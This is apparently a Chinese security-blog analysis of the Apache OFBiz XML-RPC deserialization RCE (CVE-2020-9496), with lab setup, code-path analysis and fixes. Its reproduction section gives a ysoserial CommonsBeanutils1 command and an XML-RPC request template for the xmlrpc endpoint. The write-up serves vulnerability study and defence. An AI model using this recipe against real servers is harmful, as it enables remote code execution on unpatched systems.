Apache Ofbiz RCE (CVE-2020-9496) 漏洞分析
字数 1210 2025-08-20 18:17:31

Apache Ofbiz XML-RPC 反序列化漏洞分析 (CVE-2020-9496)

漏洞概述

Apache Ofbiz 是一个开源的企业资源规划(ERP)系统,其 /webtools/control/xmlrpc 接口存在XML-RPC反序列化漏洞(CVE-2020-9496),攻击者可通过构造恶意XML请求实现远程代码执行。

环境搭建

使用Docker快速搭建测试环境:

docker pull andyjunghans/ofbiz
docker run -p 8080:8080 -p 8443:8443 andyjunghans/ofbiz

漏洞分析

路由机制分析

  1. 请求入口为 /webtools/control/xmlrpc
  2. 路由处理由 framework/webtools/webapp/webtools/WEB-INF/web.xml 定义
  3. control 路径由 org.apache.ofbiz.webapp.control.ControlServlet 处理
  4. 请求最终由 XmlRpcEventHandler 类处理

关键处理流程

  1. ControlServlet 调用 requestHandler.doRequest
  2. controller.xml 获取路由配置
  3. 根据 event.type 选择对应的 EventHandler
  4. 对于 xmlrpc 请求,使用 XmlRpcEventHandler 处理

漏洞触发点

  1. XmlRpcEventHandler 调用 execute 方法
  2. 使用 XmlRpcRequestParser 解析XML输入
  3. 当XML中包含 serializable 参数时,触发反序列化操作
  4. 反序列化过程:
    • 首先由 ByteArrayParser 进行base64解码
    • 然后由 SerializableParser 执行反序列化

漏洞复现

利用链选择

Ofbiz中存在CommonsBeanutils1利用链

生成Payload

  1. 使用ysoserial生成反序列化数据并base64编码:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "命令" | base64 | tr -d '\n'
  1. 构造恶意XML请求:
<?xml version="1.0"?>
<methodCall>
  <methodName>测试</methodName>
  <params>
    <param>
      <value>
        <serializable>[base64编码的反序列化数据]</serializable>
      </value>
    </param>
  </params>
</methodCall>
  1. 发送到目标地址 /webtools/control/xmlrpc

修复建议

  1. 升级到最新版本Apache Ofbiz
  2. 禁用或限制对 /webtools/control/xmlrpc 的访问
  3. 实施输入验证和过滤
  4. 使用安全配置限制反序列化操作

技术要点总结

  1. 漏洞根源在于XML-RPC接口对不可信数据的反序列化
  2. 利用CommonsBeanutils1链实现RCE
  3. 需要base64编码反序列化数据
  4. 通过 serializable 标签触发漏洞
  5. 完整的利用需要构造符合XML-RPC规范的请求

参考链接

  • 官方漏洞公告:https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz
  • Apache Ofbiz官网:https://ofbiz.apache.org/
  • XML-RPC规范文档
Apache Ofbiz XML-RPC 反序列化漏洞分析 (CVE-2020-9496) 漏洞概述 Apache Ofbiz 是一个开源的企业资源规划(ERP)系统,其 /webtools/control/xmlrpc 接口存在XML-RPC反序列化漏洞(CVE-2020-9496),攻击者可通过构造恶意XML请求实现远程代码执行。 环境搭建 使用Docker快速搭建测试环境: 漏洞分析 路由机制分析 请求入口为 /webtools/control/xmlrpc 路由处理由 framework/webtools/webapp/webtools/WEB-INF/web.xml 定义 control 路径由 org.apache.ofbiz.webapp.control.ControlServlet 处理 请求最终由 XmlRpcEventHandler 类处理 关键处理流程 ControlServlet 调用 requestHandler.doRequest 从 controller.xml 获取路由配置 根据 event.type 选择对应的 EventHandler 对于 xmlrpc 请求,使用 XmlRpcEventHandler 处理 漏洞触发点 XmlRpcEventHandler 调用 execute 方法 使用 XmlRpcRequestParser 解析XML输入 当XML中包含 serializable 参数时,触发反序列化操作 反序列化过程: 首先由 ByteArrayParser 进行base64解码 然后由 SerializableParser 执行反序列化 漏洞复现 利用链选择 Ofbiz中存在CommonsBeanutils1利用链 生成Payload 使用ysoserial生成反序列化数据并base64编码: 构造恶意XML请求: 发送到目标地址 /webtools/control/xmlrpc 修复建议 升级到最新版本Apache Ofbiz 禁用或限制对 /webtools/control/xmlrpc 的访问 实施输入验证和过滤 使用安全配置限制反序列化操作 技术要点总结 漏洞根源在于XML-RPC接口对不可信数据的反序列化 利用CommonsBeanutils1链实现RCE 需要base64编码反序列化数据 通过 serializable 标签触发漏洞 完整的利用需要构造符合XML-RPC规范的请求 参考链接 官方漏洞公告:https://securitylab.github.com/advisories/GHSL-2020-069-apache_ ofbiz Apache Ofbiz官网:https://ofbiz.apache.org/ XML-RPC规范文档